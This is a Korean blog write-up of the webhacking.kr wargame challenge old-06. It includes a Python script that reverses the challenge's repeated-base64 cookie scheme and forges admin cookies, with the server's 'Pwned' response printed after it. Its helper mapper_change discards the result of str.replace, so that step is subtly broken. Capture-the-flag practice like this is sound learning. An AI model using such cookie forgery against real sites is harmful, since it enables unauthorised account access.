Old-06 Domain & Tool
- 구분 : 코드 잘 읽기
- 문제풀이에 사용된 도구
- Chrome 103.0.5060.66 관리도구[F12]
- python 3.10
- Module : requests
Old-06 Question & Answer
들어가면 특별한 코드는 보이지 않고, ID가 guest라는것, pw가 123qwe라는것이 보인다. 이를 활용한 문제인듯 쿠키에 길고도 긴 user와 password라는 값이 보인다. view-source를 확인해서 문제가 어떻게 구성되는지 알아보자 오른쪽 사진의 php코드를 확인할 수 있다.
코드는 단순하다.
- 사전 쿠키설정
- 웹페이지에 접속하면 'guest'와 '123qwe'를 base64 인코딩을 20번 수행한다.
- 인코딩된 값의 숫자("12345678")를 특정한 특수문자와 지정해서 매칭해서 변환한다.("!" : 31 ~ ")" : 44까지)
- 'user'와 'password'라는 쿠키에 변환된 값을 각각 할당한다.
- 문제해결
- 사전 쿠키설정을 역순으로 수행해서 user와 password의 값이 admin과 nimda이면 성공이다.
base64의 결과가 워낙에 20번을 돌리면 길어져서 python으로 스크립트를 만들어서 문제를 풀이했다. 코드의 해석은 주석으로 달아둔다.
import base64
from requests import get
### base64 지정된 횟수만큼 인코딩하는 함수
def base_64_encode_iter(s,count) :
tmp_val = s
for _ in range(count) :
if(type(tmp_val) == type("")) :
tmp_val = base64.b64encode(tmp_val.encode())
else :
tmp_val = base64.b64encode(tmp_val)
return tmp_val.decode()
### base64 지정된 횟수만큼 디코딩하는 함수(실상 안쓴다. 그냥 해봤다)
def base_64_decode_iter(s,count) :
tmp_val = s
for _ in range(count) :
if(type(tmp_val) == type("")) :
tmp_val = base64.b64decode(tmp_val.encode())
else :
tmp_val = base64.b64decode(tmp_val)
return tmp_val.decode()
### 지정된 리스트/튜블로 변환하는 함수 사실 string 모듈에 이거 있다.
def mapper_change(s, map_str) :
tmp_val = s
for x in map_str :
tmp_val.replace(x[0],x[1],tmp_val.count(x[0]))
return tmp_val
if __name__=="__main__" :
### 변환 리스트 만들기
num=list("12345678")
spec=list("!@$^&*()")
trans_map = list(zip(num,spec))
### base64인코딩 수행 수 문자열 변환
admin_id_b64 = base_64_encode_iter("admin",20)
admin_pw_b64 = base_64_encode_iter("nimda",20)
result_trans_id_b64 = mapper_change(admin_id_b64,trans_map)
result_trans_pw_b64 = mapper_change(admin_pw_b64,trans_map)
### 쿠키설정 후 웹페이지 전달
url = "https://webhacking.kr/challenge/web-06"
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
cookie = {"PHPSESSID":"n7bhc7gvaqq27hfftvfb8l534j",
"user" : result_trans_id_b64,
"password":result_trans_pw_b64}
res = get(url, headers=header, cookies=cookie)
print(res.content)
결과는 아름답다 중간에 old-06 pwned를 확인할 수있다.
b'<html>\n<head>\n<title>Challenge 6</title>\n<style type="text/css">\nbody { background:black; color:white; font-size:10pt; }\n</style>\n</head>\n<body>\n<hr><a href=./?view_source=1 style=color:yellow;>view-source</a><br><br>ID : admin<br>PW : nimda<hr><script>alert(\'old-06 Pwned!\');</script><hr>old-06 Pwned. You got 10point. Congratz!<hr></body>\n</html>\n'
'WarGame > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-08 Answer (0) | 2022.07.10 |
---|---|
[Webhacking.kr] old-07 Answer (0) | 2022.07.10 |
[Webhacking.kr] old-05 Answer (0) | 2022.07.10 |
[Webhacking.kr] old-04 Answer (0) | 2022.07.08 |
[Webhacking.kr] old-03 Answer (0) | 2022.07.07 |